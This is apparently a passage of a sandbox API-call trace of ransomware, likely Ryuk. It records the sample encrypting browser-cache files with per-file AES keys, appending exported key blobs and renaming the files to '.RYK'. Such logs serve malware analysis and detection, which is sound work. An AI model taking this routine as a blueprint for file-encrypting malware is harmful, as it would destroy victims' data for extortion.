	[0279.179] CryptExportKey (in: hKey=0x3f7bd0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x95bfb20 | out: pbData=0x0*, pdwDataLen=0x95bfb20*=0x10c) returned 1
	[0279.179] CryptExportKey (in: hKey=0x3f7bd0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x95bfb90, pdwDataLen=0x95bfb20 | out: pbData=0x95bfb90*, pdwDataLen=0x95bfb20*=0x10c) returned 1
	[0279.179] WriteFile (in: hFile=0x820, lpBuffer=0x95bfb90*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x95bfb10, lpOverlapped=0x0 | out: lpBuffer=0x95bfb90*, lpNumberOfBytesWritten=0x95bfb10*=0x10c, lpOverlapped=0x0) returned 1
	[0279.179] CloseHandle (hObject=0x820) returned 1
	[0279.180] CryptDestroyKey (hKey=0x3f7bd0) returned 1
	[0279.181] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3958
	os_tid = 0x4368

	[0279.182] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1].RYK", dwFileAttributes=0x80) returned 1
	[0279.189] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\1nbur4hr\\fwlink[1].ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x820
	[0279.189] GetFileSizeEx (in: hFile=0x820, lpFileSize=0x970fbf8 | out: lpFileSize=0x970fbf8*=0) returned 1
	[0279.189] GetFileSizeEx (in: hFile=0x820, lpFileSize=0x970fc08 | out: lpFileSize=0x970fc08*=0) returned 1
	[0279.189] CloseHandle (hObject=0x820) returned 1

Thread:
	id = 3959
	os_tid = 0x436c

	[0279.190] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1].RYK", dwFileAttributes=0x80) returned 1
	[0279.191] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\6asvn7j7\\fwlink[1].ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x820
	[0279.191] GetFileSizeEx (in: hFile=0x820, lpFileSize=0x8c0fb78 | out: lpFileSize=0x8c0fb78*=0) returned 1
	[0279.191] GetFileSizeEx (in: hFile=0x820, lpFileSize=0x8c0fb88 | out: lpFileSize=0x8c0fb88*=0) returned 1
	[0279.191] CloseHandle (hObject=0x820) returned 1

Thread:
	id = 3967
	os_tid = 0x4390

	[0281.929] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1].RYK", dwFileAttributes=0x80) returned 1
	[0281.931] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\d68g7bij\\fwlink[1].ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854
	[0281.931] GetFileSizeEx (in: hFile=0x854, lpFileSize=0x92df7f8 | out: lpFileSize=0x92df7f8*=0) returned 1
	[0281.931] GetFileSizeEx (in: hFile=0x854, lpFileSize=0x92df808 | out: lpFileSize=0x92df808*=0) returned 1
	[0281.931] CloseHandle (hObject=0x854) returned 1

Thread:
	id = 3968
	os_tid = 0x4394

	[0281.936] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\index.dat.RYK", dwFileAttributes=0x80) returned 1
	[0281.937] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\index.dat.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8
	[0281.937] GetFileSizeEx (in: hFile=0x8e8, lpFileSize=0x906fd38 | out: lpFileSize=0x906fd38*=33058) returned 1
	[0281.938] GetFileSizeEx (in: hFile=0x8e8, lpFileSize=0x906fd48 | out: lpFileSize=0x906fd48*=33058) returned 1
	[0281.938] SetFilePointerEx (in: hFile=0x8e8, liDistanceToMove=0x8000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0281.938] ReadFile (in: hFile=0x8e8, lpBuffer=0x906fd90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x906fd00, lpOverlapped=0x0 | out: lpBuffer=0x906fd90*, lpNumberOfBytesRead=0x906fd00*=0x19, lpOverlapped=0x0) returned 1
	[0281.939] CloseHandle (hObject=0x8e8) returned 1

Thread:
	id = 3969
	os_tid = 0x4398

	[0281.952] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1].RYK", dwFileAttributes=0x80) returned 1
	[0281.953] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\fwlink[1].ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0
	[0281.954] GetFileSizeEx (in: hFile=0x8f0, lpFileSize=0x986fc78 | out: lpFileSize=0x986fc78*=0) returned 1
	[0281.954] GetFileSizeEx (in: hFile=0x8f0, lpFileSize=0x986fc88 | out: lpFileSize=0x986fc88*=0) returned 1
	[0281.954] CloseHandle (hObject=0x8f0) returned 1

Thread:
	id = 3970
	os_tid = 0x439c

	[0281.957] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]", dwFileAttributes=0x80) returned 1
	[0281.958] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\ieonline.microsoft[1]"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8
	[0281.958] GetFileSizeEx (in: hFile=0x8e8, lpFileSize=0x99ef5f8 | out: lpFileSize=0x99ef5f8*=0) returned 1
	[0281.958] GetFileSizeEx (in: hFile=0x8e8, lpFileSize=0x99ef608 | out: lpFileSize=0x99ef608*=0) returned 1
	[0281.958] CloseHandle (hObject=0x8e8) returned 1
	[0281.958] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\ieonline.microsoft[1]"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\ieonline.microsoft[1].ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3971
	os_tid = 0x43a0

	[0281.972] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT.RYK", dwFileAttributes=0x80) returned 1
	[0281.973] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\frmcache.dat.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0
	[0281.973] GetFileSizeEx (in: hFile=0x8f0, lpFileSize=0x8d9f5d8 | out: lpFileSize=0x8d9f5d8*=246258) returned 1
	[0281.973] GetFileSizeEx (in: hFile=0x8f0, lpFileSize=0x8d9f5e8 | out: lpFileSize=0x8d9f5e8*=246258) returned 1
	[0281.973] SetFilePointerEx (in: hFile=0x8f0, liDistanceToMove=0x3c0d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0281.974] ReadFile (in: hFile=0x8f0, lpBuffer=0x8d9f630, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d9f5a0, lpOverlapped=0x0 | out: lpBuffer=0x8d9f630*, lpNumberOfBytesRead=0x8d9f5a0*=0x19, lpOverlapped=0x0) returned 1
	[0281.975] CloseHandle (hObject=0x8f0) returned 1

Thread:
	id = 3972
	os_tid = 0x43a4

	[0282.276] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.bak.RYK", dwFileAttributes=0x80) returned 1
	[0282.277] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.bak.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\brndlog.bak.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0
	[0282.277] GetFileSizeEx (in: hFile=0x8f0, lpFileSize=0x9bcfc98 | out: lpFileSize=0x9bcfc98*=12482) returned 1
	[0282.278] GetFileSizeEx (in: hFile=0x8f0, lpFileSize=0x9bcfca8 | out: lpFileSize=0x9bcfca8*=12482) returned 1
	[0282.278] SetFilePointerEx (in: hFile=0x8f0, liDistanceToMove=0x2fa0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0282.278] ReadFile (in: hFile=0x8f0, lpBuffer=0x9bcfcf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9bcfc60, lpOverlapped=0x0 | out: lpBuffer=0x9bcfcf0*, lpNumberOfBytesRead=0x9bcfc60*=0x19, lpOverlapped=0x0) returned 1
	[0282.279] CloseHandle (hObject=0x8f0) returned 1

Thread:
	id = 3973
	os_tid = 0x43a8

	[0282.283] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.txt.RYK", dwFileAttributes=0x80) returned 1
	[0282.283] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.txt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\brndlog.txt.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4
	[0282.284] GetFileSizeEx (in: hFile=0x8f4, lpFileSize=0x8f0f758 | out: lpFileSize=0x8f0f758*=12498) returned 1
	[0282.284] GetFileSizeEx (in: hFile=0x8f4, lpFileSize=0x8f0f768 | out: lpFileSize=0x8f0f768*=12498) returned 1
	[0282.284] SetFilePointerEx (in: hFile=0x8f4, liDistanceToMove=0x2fb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0282.284] ReadFile (in: hFile=0x8f4, lpBuffer=0x8f0f7b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f0f720, lpOverlapped=0x0 | out: lpBuffer=0x8f0f7b0*, lpNumberOfBytesRead=0x8f0f720*=0x19, lpOverlapped=0x0) returned 1
	[0282.286] CloseHandle (hObject=0x8f4) returned 1

Thread:
	id = 3974
	os_tid = 0x43ac

	[0282.294] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml", dwFileAttributes=0x80) returned 1
	[0282.295] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f8
	[0282.296] GetFileSizeEx (in: hFile=0x8f8, lpFileSize=0x8c9f738 | out: lpFileSize=0x8c9f738*=13) returned 1
	[0282.296] GetFileSizeEx (in: hFile=0x8f8, lpFileSize=0x8c9f748 | out: lpFileSize=0x8c9f748*=13) returned 1
	[0282.296] CloseHandle (hObject=0x8f8) returned 1
	[0282.296] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3975
	os_tid = 0x43b0

	[0282.302] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\index.dat", dwFileAttributes=0x80) returned 1
	[0282.303] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f8
	[0282.303] GetFileSizeEx (in: hFile=0x8f8, lpFileSize=0x90cf978 | out: lpFileSize=0x90cf978*=32768) returned 1
	[0282.303] GetFileSizeEx (in: hFile=0x8f8, lpFileSize=0x90cf988 | out: lpFileSize=0x90cf988*=32768) returned 1
	[0282.303] SetFilePointerEx (in: hFile=0x8f8, liDistanceToMove=0x7ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0282.303] ReadFile (in: hFile=0x8f8, lpBuffer=0x90cf9d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x90cf940, lpOverlapped=0x0 | out: lpBuffer=0x90cf9d0*, lpNumberOfBytesRead=0x90cf940*=0x19, lpOverlapped=0x0) returned 1
	[0282.311] SetFilePointer (in: hFile=0x8f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0282.311] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x90cf958 | out: phKey=0x90cf958*=0x3f7b60) returned 1
	[0282.311] SetFilePointer (in: hFile=0x8f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0282.312] ReadFile (in: hFile=0x8f8, lpBuffer=0x3080000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x90cf964, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesRead=0x90cf964*=0x8000, lpOverlapped=0x0) returned 1
	[0282.315] CryptEncrypt (in: hKey=0x3f7b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x90cf960*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x90cf960*=0xf4250) returned 1
	[0282.315] CryptEncrypt (in: hKey=0x3f7b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3080000*, pdwDataLen=0x90cf968*=0x8000, dwBufLen=0xf4250 | out: pbData=0x3080000*, pdwDataLen=0x90cf968*=0x8010) returned 1
	[0282.316] SetFilePointer (in: hFile=0x8f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0282.316] WriteFile (in: hFile=0x8f8, lpBuffer=0x3080000*, nNumberOfBytesToWrite=0x8010, lpNumberOfBytesWritten=0x90cf964, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesWritten=0x90cf964*=0x8010, lpOverlapped=0x0) returned 1
	[0282.317] WriteFile (in: hFile=0x8f8, lpBuffer=0x90cf990*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x90cf970, lpOverlapped=0x0 | out: lpBuffer=0x90cf990*, lpNumberOfBytesWritten=0x90cf970*=0x6, lpOverlapped=0x0) returned 1
	[0282.317] CryptExportKey (in: hKey=0x3f7b60, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x90cf980 | out: pbData=0x0*, pdwDataLen=0x90cf980*=0x10c) returned 1
	[0282.317] CryptExportKey (in: hKey=0x3f7b60, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x90cf9f0, pdwDataLen=0x90cf980 | out: pbData=0x90cf9f0*, pdwDataLen=0x90cf980*=0x10c) returned 1
	[0282.317] WriteFile (in: hFile=0x8f8, lpBuffer=0x90cf9f0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x90cf970, lpOverlapped=0x0 | out: lpBuffer=0x90cf9f0*, lpNumberOfBytesWritten=0x90cf970*=0x10c, lpOverlapped=0x0) returned 1
	[0282.317] CloseHandle (hObject=0x8f8) returned 1
	[0282.319] CryptDestroyKey (hKey=0x3f7b60) returned 1
	[0282.319] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\index.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3976
	os_tid = 0x43b4

	[0283.477] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\frameiconcache.dat", dwFileAttributes=0x80) returned 1
	[0283.485] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\frameiconcache.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\frameiconcache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x904
	[0283.485] GetFileSizeEx (in: hFile=0x904, lpFileSize=0x920f958 | out: lpFileSize=0x920f958*=9204) returned 1
	[0283.485] GetFileSizeEx (in: hFile=0x904, lpFileSize=0x920f968 | out: lpFileSize=0x920f968*=9204) returned 1
	[0283.486] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x22d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0283.486] ReadFile (in: hFile=0x904, lpBuffer=0x920f9b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x920f920, lpOverlapped=0x0 | out: lpBuffer=0x920f9b0*, lpNumberOfBytesRead=0x920f920*=0x19, lpOverlapped=0x0) returned 1
	[0283.492] SetFilePointer (in: hFile=0x904, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0283.492] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x920f938 | out: phKey=0x920f938*=0x3f7b60) returned 1
	[0283.492] SetFilePointer (in: hFile=0x904, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0283.492] ReadFile (in: hFile=0x904, lpBuffer=0x3180000, nNumberOfBytesToRead=0x23f4, lpNumberOfBytesRead=0x920f944, lpOverlapped=0x0 | out: lpBuffer=0x3180000*, lpNumberOfBytesRead=0x920f944*=0x23f4, lpOverlapped=0x0) returned 1
	[0283.504] CryptEncrypt (in: hKey=0x3f7b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x920f940*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x920f940*=0xf4250) returned 1
	[0283.505] CryptEncrypt (in: hKey=0x3f7b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3180000*, pdwDataLen=0x920f948*=0x23f4, dwBufLen=0xf4250 | out: pbData=0x3180000*, pdwDataLen=0x920f948*=0x2400) returned 1
	[0283.505] SetFilePointer (in: hFile=0x904, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0283.505] WriteFile (in: hFile=0x904, lpBuffer=0x3180000*, nNumberOfBytesToWrite=0x2400, lpNumberOfBytesWritten=0x920f944, lpOverlapped=0x0 | out: lpBuffer=0x3180000*, lpNumberOfBytesWritten=0x920f944*=0x2400, lpOverlapped=0x0) returned 1
